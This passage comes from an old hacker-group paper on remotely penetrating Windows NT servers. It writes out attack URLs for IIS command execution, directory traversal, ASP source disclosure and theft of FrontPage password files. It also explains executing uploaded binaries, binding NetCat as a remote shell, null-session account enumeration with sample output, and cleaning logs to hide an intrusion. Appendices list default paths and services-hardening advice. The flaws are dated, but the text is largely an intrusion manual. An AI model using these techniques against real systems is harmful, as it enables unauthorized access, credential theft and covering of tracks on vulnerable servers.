4) Nothing is logged on the server side by the IIS Web server, because the execution process was not successfully terminated!!! (Thanks to the "time" command.) The only way to see that something happened is to review all your NT security logs. But they do not contain information like REMOTE_IP. Thus the hacker's machine remains fully anonymous.

Let's resume:

1) IIS Web server allows a hacker to execute his "batch file" by typing

/scripts/abracadabra.bat?&COMMAND1+?&COMMAND2+?&...+?&COMMANDN

In a similar situation with the Netscape server, only single command can be executed.

2) There is no file abracadabra.bat in /scripts directory, but .bat extension is mapped to C:\WINNT35\System32\cmd.exe In a similar situation with the Netscape server, actual .bat file must exist.

3) In case a hacker enters a command like "time" or "date" as COMMAND[N], nothing will be logged by IIS Web server. In a similar situation with the Netscape server, the error log will have a record about remote IP and command you trying to execute.

<End Quote>

If you are having trouble seeing exactly what is going on in this situation, an intruder could use the above attack sequence to create and execute files server side. This could have really drastic results depending on the skill level and intent of the attacker. Luckily, most production environments are no longer running versions of Internet Information Server old enough to still be affected by this flaw.

Shortly after the bat/cmd flaw was fully investigated and documented, another bug hit the community. Again, lucky for us this flaw also only affects older version of Internet Information Server. This flaw, called the 'double dot bug' gave the visitor to the website the ability to break out of the sanctioned webroot directory and browse or download files. Obviously the end server could contain sensitive information that exists outside of the designated webroot, and this simple flaw would give an outsider access to that information. The command is executed as a URL, and its structure is as follows:

http://www.someserver.com/..\..

As if the double dot bug was not enough, another variant on that flaw appeared shortly after. This newly found flaw would give an intruder the ability to execute scripts on the target machine. Due to the fact that this new flaw is a variant of the double dot bug, the scripts in question could exist outside of the webroot. This attack is also structured as a URL, and is issued as follows:

http://www.someserver.com/scripts..\..\scriptname

WindowsNT installations of Internet Information Server require some type of account to be used for authentication on the box for public visits. If this account was not present in some fashion, every visitor to the site would be required to present credentials. This would not be a very effective or efficient way to present a public website. On Internet Information Server, the account to be used is the IUSR_<computername> account. This account and its accompanying password are created during installation. By default, this account is a member of the everyone group, and by default the everyone group has read access to everything on an NT drive. This fact coupled with the above mentioned flaw's ability to break out of the webroot could lead to major security breaches.

For a short while, it seemed that new URL related attack types seemed to pop up every week. Following the scripts flaw above was another script related bug that would allow an intruder to create a file on the target machine, and possibly execute the file after creation. The new attack URL structure was:

http://www.someserver.com/scripts/script_name%0A%0D>PATH\target.bat

When this flaw first appeared, many people in the community ignored it and gave it no serious thought. Soon after, a public release was made documenting the exact steps an intruder would take to obtain a copy of the repair SAM. The release including the above URL flaw as part of its overall attack.

When Microsoft released Internet Information Server 3.0, it brought active server page technology to the world. This release also opened the gates to a new stream of flaws that affected IIS and NT4.

Active server pages brought simple, dynamic webpages to the Microsoft world. Active Server Pages can be used in many different ways, such as database connectivity, indexing and searching documents, authentication, and simple graphics rotation for those annoying advertisement banners.

The concept of active server pages was actually pretty creative. The HTML code would include imbedded script code that would execute server side and produce dynamic content for the end user. With this new technology widely available, it was not long until the first flaw was released to the public. This first flaw, dubbed the 'dot flaw', would allow an intruder to actually view the script without the server executing it.

A standard URL structure would look like this:

http://www.genericserverhere.com/default.asp

The attack URL structure would look like this:

http://www.genericserverhere.com/default.asp.

This attack would display the unexecuted code in the attackers web browser. Needless to say, the script code could contain sensitive information, such as a username/password

combination to remotely connect to a database. This type of information, among other things, is not something that one would want an intruder getting their hands on.

When a fix was released for the dot flaw, variants of the flaw that defeated the fix were also released. The first of the variants was the %2e flaw. %2e is the hex equivelant of a period, thus showing that the fix that was made available was not incredibly robust. Variants of this flaw continue to show up on occasion. Because all of the variants perform the same exact end results, they will not be discussed in detail. Some of the known attack URL structures are listed below:

http://www.someserver.com/default%2easp
http://www.someserver.com/default%2e%41sp
http://www.someserver.com/default.asp::$DATA
http://www.someserver.com/shtml.dll?<filename>.asp

Everyone involved in the security community has a feeling that these will not be the last script displaying methods to emerge in the near future. As these scripts become more and more commonplace, they will contain more and more sensitive information. These simple exploits could lead to an intruder easily gleaning sensitive information.

When it comes to gleaning information from IIS, perhaps one of the most popular and easiest of the attacks is the Index Server attack. Index Server is a small compact search engine module that was included with Internet Information Server version 3.0. This module gives webmasters the ability to provide visitors to their site with a searchable interface for searching the contents of the website. Although there are no inherent problems with Index Server itself, problems arise out of a lack of education on the part of the admin or webmaster. Index Server is not difficult to understand, setup and mantain, although its use of catalogs and scopes can lead to an admin misconfiguring the permissions and searchable content. This misconfiguration could lead to an intruder gaining access to information he would normally have a much more difficult time getting.

The default URL structure for this attack would be:

http://www.someserver.com/samples/search/queryhit.htm

This path reflects the default path to the sample pages that ship with Internet Information Server. If this path is not a valid path, the intruder could still click on that helpful little "Search This Site" link to access the same information. Once the intruder successfully reaches the html document in question, he will be presented with a webpage containing a form field. This form field is where a visitor to your site would normally input the information he wished to search for. An intruder could use a filename search string such as:

#filename=*.txt

This would instruct Index Server to search through its catalog of indexed data for any files ending with that file extension. Keep in mind that this file extension is not limited to extensions that Index Server understands. If Index Server encounters a file type it does not understand, it will treat it as a binary and index the filename, extensions, date, and other attributes. This means that an intruder could search for anything, including *._, which could bring up the repair sam. The interesting thing about Index Server is that unlike other full blown internet search engines, Index Server will not display a file for which the requester does not have permission to access. In other words, if Index Server returns the fact that it found a file, then the file is accessable.

Another favorite default function an intruder would attempt to access is Internet Information Servers web admin interface. In a default installation of IIS, the web admin interface resides in the 'iisadmin' sub directory of the web root, which means the URL attack structure would be:

http://www.someserver.com/iisadmin

If the admin has somehow misconfigured the permissions on this interface, then an intruder could gain unauthorized access to the web server with administrative functions. If successful, the intruder would be presented with an HTML interface to an administrative tool. Because of the way IIS and NT handles permissions, it is possible for the intruder to gain access to the interface but not have the proper permissions to actually do anything with it. So if you are auditing your own network, be sure to attempt a minor change to ensure that there is a problem.

In late '97 and early '98 an enormous amount of webserver hacks were performed. A large number of those hacks had one thing in common: the webservers were running Microsoft Frontpage Extensions. Frontpage Extensions are little 'web bots', if you will, that allow the author or administrator of the website to perform complex or involved tasks with relative ease.

The problem with the Frontpage Extensions was that a default Frontpage installation was not secure, especially in the unix version. An alarming number of the servers supporting these extensions had been left unpassworded or enabled administrative rights to the Everyone group. Again, the everyone group means everyone, including anonymous connections.

We will dive into the first Frontpage attack with a discussion of an attack using the actual Frontpage client software.

A server that supports FrontPage will have a number of working directories that begin with the letters '_vti'. Doing a search at any of the popular search engines for any of the default frontpage directories would result in a large number of returns from the engine. An intruder could then get comfortable and attempt a simple, repetative attack against these servers. The attack is executed as follows:

1- Open your own personal copy of FrontPage
2- Goto the "Open frontpage web" dialogue box
3- Put in the URL or IP of the server you wish to attack

If the server is unpassworded or if permission is granted to the everyone group, Frontpage will open the remote site for you, and allow you to alter it. The attack really is this simple. If the extensions are set up correctly, a username/password dialogue would appear. The intruder may attempt some basic combinations such as administrator/password, but chances are the intruder won't bother, and will move on.

An intruder could also use the same "open frontpage web" trick to get a complete user listing. This could be used in brute force attacks later. Documentation circulated explaining that to stop the gleaning of usernames this way, one should create a restriction group as FP_www.yourdomain.com:80. This new restriction group indeed works, unless the intruder uses the IP address of your server instead of the domain name.

Some other tricks that can be done with FrontPage support is attempting to grab the Frontpage password file. Frontpage normally stores the password in the _vti_pvt directory, with the name service.pwd. An intruder could attempt to execute the following URL:

http://www.someserver.com/_vti_pvt

If permissions are not setup correctly and directory browsing is allowed, the intruder would get a listing of the files in that directory, including service.pwd. Usually the administrator will pay some attention to the installation and security of the site and restrict access to that directory. Although this is a good initial step, always remember how NTFS works. Depending on the configuration of NTFS, a user may still gain access to the password file even though access to the parent folder has been denied. In this type of situation, the intruder would simply issue the full path to the file in the URL, such as:

http://www.someserver.com/_vti_pvt/service.pwd

Although the frontpage password file is encrypted, it is encrypted with standard DES, so any DES cracker can glean it after proper file doctoring. An intruder may also poke around the other _vti directories, as sometimes these can hold sensitive information. After the username is known and the password has been cracked, the intruder could then re-connect with his copy of Frontpage and provide it with the credentials, or the credentials could be used in other ways, such as mapping a network drive, provided the same username/password combination would work in that context.

(NOTE: Service.pwd is not the only known password file name. Authors.pwd, admin.pwd, users.pwd and administrators.pwd have also been seen.)

Of the Frontpage related exploits, the binary ftp exploit is probably considered to be the most sophisticated, even though it's also extremely easy to accomplish. The binary attack would allow an intruder to execute any binary via frontpage extensions. The attacker must find a server that supports frontpage and also supports FTP anonymous writable. After connecting to the server via FTP, the intruder would create a directory named _vti_bin. He would then upload whichever executable he wishes to run into the newly created directory. Once the executable file has been uploaded, the intruder would issue the following URL:

http://www.someserver.com/_vti_bin/uploaded_file

The server will then be more than happy to execute the file for the visitor of the site.

Shortly after the binary attack made its rounds, the _vti_cnf bug was found. This would allow an intruder to view all files in a certain directory. By replacing the index.html with _vti_cnf, the intruder would see all files in that directory, and possibly gain access to them. The attack is issued as follows:

Standard structure - http://www.someserver.com/some_directory_structure/index.html
Attack structure - http://www.someserver.com/some_directory_structure/_vti_cnf

It may seem as though there could be countless variants of the same attack type that could issue similar results. Sadly enough, that is a somewhat accurate statement. Many of these flaws are found by people playing with variants of previous flaws, but not all flaws affecting NT web services come from Internet Information Server.

There are other web server software packages that will run on NT, like the well known Apache web server. Of course, with these third party web server packages and seperately released scripts that run on these third party packages, new flaws are bound to show up.

Webcom Datakommunikation released a cgi script that would allow visitors of a website to sign a guestbook. The name of the cgi script is wguest.exe. By issuing the proper

commands, this little cgi script allows an attacker to view any text file on your server.

The form page where a visitor would sign the guestbook contains a number of hidden fields. One of these hidden input fields is as follows (as reported by David Litchfield):

```
        input type="hidden" name="template"
        value="c:\inetpub\wwwroot\gb\template.htm">

    or

        input type="hidden" name="template" value="/gb/template.htm">
```

Template.htm here is the file that will be displayed by wguest.exe after the user has entered his information. To exploit this an attacker views the source and saves the document to his desktop and edits this line by changing the path to whatever file he wants to view, eg.

```
        input type="hidden" name="template"
        value="c:\winnt\system32\$winnt$.inf">
```

[If an unattended install was done the admin password can be gleaned from this file]

He then clicks on "Submit" and then wguest.exe will display this file. This was not tested with pwl files. However the attacker must know the exact path of the file he wishes to view.

Another 'generic' HTTPD exploit involves a third party webserver product that runs on WindowsNT called Sambar Server. The following is a direct quote from posting:

<quote>
It is possible to view the victim's HDD. Asume you find a computer running Sambar Server by searching the Internet with these key-words: +sambar +server +v4.1

If you find a site like: http://www.site.net/ then do a test, run a little perl script...

http://www.site.net/cgi-bin/dumpenv.pl

Now you see the complete environment of the victims computer, including his path. Now you can try to login as the administrator by this url:

http://www.site.net/session/adminlogin?RCpage=/sysadmin/index.stm

The default login is: admin and the default password is blank. If the victim hasn't changed his settings, you now can control his server. Another feature is to view the victims HDD. If you were able to run the perl script you should also be able (in most cases) to view directory's from his path. Most people have c:/program files and c:/windows in the path line, so what you can do is:

http://www.site.net/c:/program files/sambar41

<end quote>

The next small item in this section has to do with Netscape Enterprise Server. Some versions of the software react to the ?PageServices parameter by allowing users access to a directory listing. http://www.site.net/?PageServices is how this would be done.

Finally a word on FTP. FTP can be a secure thing. Tons of people will argue that platforms and version dependancy make it more secure, and for the most part this is true. Most seasoned security profressionals will tell you that version and platform do not amount to anything without an educated end admin. We are adding this quick note in here due to the number of servers Rhino9 has been able to penetrate based on FTP permissions. Some admins will not notice, or understand, the "Anonymous world writable" privs on their webserver. Rhino9 has questioned and worked its way into an entire network via one misconfigured FTP server.

It is not difficult to upload NetCat via anon-ftp-writable to a server, execute it via URL, and bind it to a port. From that point on, you have a remote 'shell' on the NT box. By connecting to that remote NetCat bind, keep in mind that all command line functions issued from that shell seem to be sent from THAT SHELL, with the NetCat binding running in the context of an internal user.

MISCELLANEOUS INFORMATION GATHERING AND PENETRATION TECHNIQUES

(As with any type of security related document that attempts to encompass many different topics, some topics will seem out of place among the rest of them. This section deals with different techniques that really did not fit anywhere else in the document. Excuse the somewhat fragmented nature of this section.)

If there is one product that Rhino9 as a team has spent time tearing apart, it is WinGate. The first problem encountered with WinGate was the ability to 'bounce' through a WinGate with all subsequent connections appearing to come from the WinGate itself. This little flaw was extremely easy to take advantage of. One would telnet to the WinGate port and be presented with a prompt such as:

WinGate>

At this prompt, you could issue a seperate telnet command or take advantage of the WinGates SOCKS ability to establish other connections. While the developer of this software product was quick to release fixes and bulletins for this, the next release also had problems.

In a default installation of WinGate v2.1, the WinGate machine was configured with a logging service. The logging service listens on port 8010 of the WinGate machine. By establishing an HTTP connection to this port, a possible intruder would be presented with two general feeds:

"Connection Cannot Be Established"

Or, the intruder would get a listing of the wingate machines hard drive. Keep in mind, that this is a default install and can easily be fixed by chaning the default install configuration.

As Exchange server became a more and more popular mail server package, flaws began to appear. The first flaw to emerge was a password caching problem within the architecture of Exchange. This is a quote directly from the original posting:

<quote>

Create a user xyz on your NT domain with an Exchange 5.0 server with POP3 service. Set xyz's password to a1234. Things work fine so far. Now change xyz's password to b5678. You will find that POP3 mail clients can log in using either password a1234 or b5678 for user xyz. Now change the password to something else. You will find that a POP3 client (or direct telnet to port 110) will allow you to log in as xyz using any of the three passwords. They all work. The Exchange 5.0 service POP3 connector caches passwords in a non-hashing mechanism so that all the passwords remain active. This does not affect the new web page interface to get your mail which uses a different authentication. Nor does it affect NT logons. In non-POP3 logins, the passwords are not cached (except NNTP and LDAP). As you can see, the caching problem can be very serious in certain environments.
<end quote>

Another technique that an intruder could use to gather information is based on the SMTP port of a target mail server. In order to be SMTP compliant and have the ability to fully interact with other mail entities on the internet, NT based SMTP mail servers understand the verify feature. By establishing a telnet session to the SMTP port of the mail server, an intruder could issue the verify command in conjunction with a username. If the verify feature is enabled, the server will tell the intruder if it is a valid username or not. The attack command would appear as such:

vrfy administrator (would verify if a user named administrator existed)

On some mail systems, the intruder would be required to go through the HELO sequence first, but this is extremely trivial. Needless to say, this could lead to an intruder gathering a list of valid usernames to use in other attacks.

FINAL WORDS

The authors of this document hope that you have enjoyed reading it and that you have learned something from it. The authors would also like to remind the readers that we wish to keep this document current. Planning future releases of this document, with up to date information allows us to begin keeping a publicly available living record that administrators and security professionals can use. Send your information gathering and remote penetration techniques to neonsurge@hotmail.com. As new versions of this document become available, notice will go out on such lists as NTBugTraq. The home of the document itself will be at the Rhino9 website (http://rhino9.ml.org),

The authors of this document have three other documents planned for release in the near future, all of them part of the NT WarDoc series. We have an indepth Denial of Service paper in the works, Local Penetration Techniques paper, and a paper dealing with techniques one could use to gaurd against the topics of the other papers. We look forward to feedback from the community.

APPENDIX A: THE NET COMMAND

Below is a listing of all Net commands and their functions:

Net Accounts: This command shows current settings for password, logon limitations, and domain information. It also contains options for updating the User accounts database and modifying password and logon requirements.

Net Computer: This adds or deletes computers from a domains database.

Net Config Server or Net Config Workstation: Displays config info about the server service. When used without specifying Server or Workstation, the command displays a list of configurable services.

Net Continue: Reactivates an NT service that was suspended by a NET PAUSE command.

Net File: This command lists the open files on a server and has options for closing shared files and removing file locks.

Net Group: This displays information about group names and has options you can use to add or modify global groups on servers.

Net Help: Help with these commands

Net Helpmsg message#: Get help with a particular net error or function message.

Net Localgroup: Use this to list local groups on servers. You can also modify those groups.

Net Name: This command shows the names of computers and users to which messages are sent on the computer.

Net Pause: Use this command to suspend a certain NT service.

Net Print: Displays print jobs and shared queues.

Net Send: Use this command to send messages to other users, computers, or messaging names on the network.

Net Session: Shows information about current sessions. Also has commands for disconnecting certain sessions.

Net Share: Use this command to list information about all resources being shared on a computer. This command is also used to create network shares.

Net Statistics Server or Workstation: Shows the statistics log.

Net Stop: Stops NT services, cancelling any connections the service is using. Let it be known that stopping one service may stop other services.

Net Time: This command is used to display or set the time for a computer or domain.

Net Use: This displays a list of connected computers and has options for connecting to and disconnecting from shared resources.

Net User: This command will display a list of user accounts for the computer, and has options for creating a modifying those accounts.

Net View: This command displays a list of resources being shared on a computer. Including netware servers.

**Special note on DOS and older Windows Machines: The commands listed above are available to Windows NT Servers and Workstation. DOS and older Windows clients have these NET commands available:

Net Config

```
Net Diag (runs the diagnostic program)
Net Help
Net Init (loads protocol and network adapter drivers.)
Net Logoff
Net Logon
Net Password (changes password)
Net Print
Net Start
Net Stop
Net Time
Net Use
Net Ver (displays the type and version of the network redirector)
Net View
```

APPENDIX B: AN EXAMPLE OF THE SID TOOLS IN USE

Below is an example of the SID Tools in action, quoted directly from the public posting about this tool:

This flaw works with the User2Sid and Sid2User utilities. The utilities make function of the LookupAccountName and LookupAccountSid WIN32 Functions. These functions must be executed by a user with EVERYONE access, not very hard to accomplish. Here's what happens:

1) Looking up a SID of any domain account, for example Domain Users

```
user2sid "domain users"

S-1-5-21-201642981-56263093-24269216-513
```

Now we know all the subauthorities for the current domain. Domain accounts only differ by the last number of the SID, called a RID.

2) Looking up the built-in administrator name (RID is always 500)

```
sid2user 5 21 201642981 56263093 24269216 500

Name is SmallUser
Domain is DomainName
Type of SID is SidTypeUser
```

Now it is possible to look up all the domain accounts from the very first one (RID = 1000 for the first account, 1001 for the second and so on, RIDs are never used again for the current installation).

```
sid2user 5 21 201642981 56263093 24269216 1000
sid2user 5 21 201642981 56263093 24269216 1001
...
```

Remember that the anonymous account is also part of the Everyone group. It also happens that the anonymous account is not audited by the logon/logoff feature.

Below is an example of what you can learn provided the netbios ports are open (the listing is fictional).

```
nslookup www.xyz.com
Non-authoritative answer:
Name: www.xyz.com
Address: 131.107.2.200
net use \\131.107.2.200\ipc$ "" /user:""

The command completed successfully.

user2sid \\131.107.2.200 "domain users"

S-1-5-21-201642981-56263093-24269216-513

Number of subauthorities is 5
Domain is XYZ_domain
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup

sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 500

Name is XYZAdmin
Domain is XYZ_domain
Type of SID is SidTypeUser

sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1000

Name is
Domain is XYZ_domain
Type of SID is SidTypeDeletedAccount

sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1001

Name is Simpson
Domain is XYZ_domain
Type of SID is SidTypeUser

sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1112

LookupSidName failed - no such account

Default NT Install SID's are:

DOMAINNAME\ADMINISTRATOR
S-1-5-21-917267712-1342860078-1792151419-500 (=0x1F4)

DOMAINNAME\GUEST
S-1-5-21-917267712-1342860078-1792151419-501 (=0x1F5)

Built-In Global Groups

DOMAINNAME\DOMAIN ADMINS
S-1-5-21-917267712-1342860078-1792151419-512 (=0x200)

DOMAINNAME\DOMAIN USERS
S-1-5-21-917267712-1342860078-1792151419-513 (=0x201)

DOMAINNAME\DOMAIN GUESTS
S-1-5-21-917267712-1342860078-1792151419-514 (=0x202)
```

Built-In Local Groups

BUILTIN\ADMINISTRATORS S-1-5-32-544 (=0x220)
BUILTIN\USERS S-1-5-32-545 (=0x221)
BUILTIN\GUESTS S-1-5-32-546 (=0x222)
BUILTIN\ACCOUNT OPERATORS S-1-5-32-548 (=0x224)
BUILTIN\SERVER OPERATORS S-1-5-32-549 (=0x225)
BUILTIN\PRINT OPERATORS S-1-5-32-550 (=0x226)
BUILTIN\BACKUP OPERATORS S-1-5-32-551 (=0x227)
BUILTIN\REPLICATOR S-1-5-32-552 (=0x228)

Special Groups

\CREATOR OWNER S-1-3-0
\EVERYONE S-1-1-0
NT AUTHORITY\NETWORK S-1-5-2
NT AUTHORITY\INTERACTIVE S-1-5-4
NT AUTHORITY\SYSTEM S-1-5-18

==========
APPENDIX C: RELATIONAL LOCATIONS OF DEFAULT IIS STRUCTURES
==========

C:\InetPub\wwwroot <Home>
C:\InetPub\scripts /Scripts
C:\InetPub\wwwroot_vti_bin /_vti_bin
C:\InetPub\wwwroot_vti_bin_vti_adm /_vti_bin/_vti_adm
C:\InetPub\wwwroot_vti_bin_vti_aut /_vti_bin/_vti_aut
C:\InetPub\cgi-bin /cgi-bin
C:\InetPub\wwwroot\srchadm /srchadm
C:\WINNT\System32\inetserv\iisadmin /iisadmin
C:\InetPub\wwwroot_vti_pvt /_vti_pvt
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM Internet Information Index Server sample
C:\Program Files\Microsoft FrontPage_vti_bin
C:\Program Files\Microsoft FrontPage_vti_bin_vti_aut
C:\Program Files\Microsoft FrontPage_vti_bin_vti_adm
C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin

Frontpage specific files and their functions:

/_vti_inf.html Ensures that frontpage server extensions are installed.
/_vti_pvt/service.pwd Contains the encrypted password files. Not used on IIS and WebSite servers.
/_vti_pvt/authors.pwd On Netscape servers only. Encrypted. Names and passwords of authors.
/_vti_pvt/administrators.pwd
/_vti_log/author.log If author.log is there it will need to be cleaned to cover an intruders tracks.

==========
APPENDIX D: THE SERVICES
==========

I have received countless pieces of mail regarding the NT services. People are asking what they do and should certain ones be disabled. Whats follows is a list of the services, an explanation of each one, and recommendations for setup. -NeonSurge

ALERTER: Relies on NetBIOS over TCP/IP for network communication. This service allows a user to receive messages from other machines. These messages could be warnings or some type of pre-determined network information. I recommend disabling the Alerter service on machines due to its NetBIOS dependancy and the fact that it is hardly ever used.

CLIPBOOK SERVER: Relies on NetBIOS over TCP/IP for network communication. This server service allows the contents of the clipboard to be shared over a network. Few use it, and it should be disabled due to the ability of a remote intruder possible gleaning information from it.

COMPUTER BROWSER: The Computer Browser service allows one to view available network resources by browsing via Network Neighborhood. When active on a server, the server will register its name through a NetBIOS broadcast or directly to a WINS server. I recommend disabling this service.

DHCP CLIENT: This service should be set to automatic if the machine is a dhcp client, if not, disable it.

DIRECTORY REPLICATOR: This service allows NT systems to import and export directory contents. If you content replication is not needed, disable this service.

EVENT LOG: I recommend always using this service because it is the service responsible for logging activity on the server, including security activity.

LICENSE LOGGING SERVICE: Used to track use of licenses by different applications, it does not have any serious impact on the network and should be set to automatic (which is the default setting).

MESSENGER SERVICE: Relies on NetBIOS over TCP/IP for network communication. Similar to the Alerter service in both design and function. I recommend stopping this service to prevent username enumeration via NBTSTAT commands.

NET LOGON: This service is used by both Server and Workstation to provide for user authentication. TSERhis service is said to be required at all times and runs as the built in SYSTEM user.

NETWORK DDE and DDE DSDM: These service provide dynamic data exchange. DDE is used for such applications as Chat (thats important!), and other applications that may require this type of functionality. These services are considered to be a moderate risk due to their TCP connection accepting states.

NETWORK MONITOR AGENT: Network Monitor Agent is used to monitor, or sniff, the traffic passing through a network adapter card. If the SMS version of this software is in use, an administrator can remotely monitor traffic on other network adapter cards.

NT LM SECURITY SUPPORT PROVIDER: This service is present to help with backwards compatibility and authentication with older software packages.

PLUG AND PLAY: Used to configure PnP devices.

REMOTE PROCEDURE CALL LOCATOR AND SERVICES: RPC is a protocol that is used to encapsulate fucntion calls over a network. Its defualt configuration, automatic, is

standard and should be left alone. This service is considered to pose a high security risk, but the dependancies existing on this service are too great to disable it.

ROUTING AND REMOTE ACCESS SERVICE: This is an add-on service that enhances the functionality of WindowsNT. If you are using a modem to dial-out of your NT system, this service should be set to automatic. If you are using its routing features, also set it to automatic.

SCHEDULE: This service allows an application to be executed at a pre-specified time and date. This can pose a serious security threat as this service can be used to start applications under the SYSTEM context.

SERVER: Used as the key to all server-sdie NetBIOS applications, this service is somewhat needed. Without this service, some of the administrative tools, such as Server Manager, could not be used. If remote administration or access to the machine is not needed, I highly recommend disabling this service. Contrary to popular belief, this service is NOT needed on a webserver.

SPOOLER: The spooler service is used to accept requests for print jobs from clients, and to allow the local system to spool jobs to a network printer. This service should be set to automatic.

TCP/IP NETBIOS HELPER: This service helps and enhances NBT and the Net Logon service. Because the Net Logon service should be set to automatic, so should this service.

TELEPHONY SERVICE: This service is used to manage telephony drivers and the properties for dialing. On a system that does not use any type of telephony or RAS devices should have this service disabled.

UPS: This service is used in serial communication with an Uninterruptible Power Supply.

WORKSTATION: This service allows for outbound NetBIOS connections. Because it is used in outbound connections only, it is normally not a security risk and should be set to automatic.

APPENDIX E: URL's

Sid Tools: http://www.technotronic.com/microsoft.html
Eudpass: http://rhino9.ml.org/wardoc
1nf0ze: http://rhino9.ml.org/wardoc
FireFTP: http://rhino9.ml.org/wardoc
Grinder: http://rhino9.ml.org/software
Glide: http://rhino9.ml.org/wardoc
John The Ripper (DES Cracker): http://www.false.com/security/john/index.html
WS_FTPBug: http://rhino9.ml.org/wardoc
L0phtCrack (NT Password Cracker): http://www.l0pht.com
PWDump: http://rhino9.ml.org/wardoc
NAT: http://www.technotronic.com/microsoft.html

APPENDIX F: THE LMHOSTS FILE

Although most security professionals are used to working with a HOSTS file, WindowsNT actually uses two text files to resolve hostnames to their adresses. WindowsNT still uses a HOSTS file, but it also uses an LMHOSTS file.

Much like a HOSTS file, an LMHOSTS is a flat, sequential text file that is used to resolve computer names (NetBIOS) to addresses. The LMHOSTS file also allows one to use keywords, which gives it greater functionality and flexibility than a HOSTS file.

The keywords that the LMHOSTS file uses are #PRE, #DOM:domain, #INCLUDE filename, #BEGIN_ALTERNATE, and #END_ALTERNATE. If something follows a hash mark that is not one of these keywords, it is treated as a remark.

#PRE: If this keyword follows an entry in an LMHOSTS file, it tells WindowsNT to pre-load that entry into the name cache. This allows the windows system to resolve the name much quicker.

#DOM: The #DOM tag entry causes WindowsNT to associate that entry with whatever domain you specify (i.e. #DOM:accounting). This helps NT resolve certain names more efficiently because it does not have to consult routing tables to find out which domain the entry belongs in.

#INCLUDE: This entry tells WindowsNT where to look for other LMHOSTS files that reside on other machines. When using this function, one should specify the UNC path to the other LMHOSTS file. The #BEGIN_ALTERNATE and #END_ALTERNATE are used in conjunction with the #INCLUDE tag and should appear before and after the #INCLUDE tag.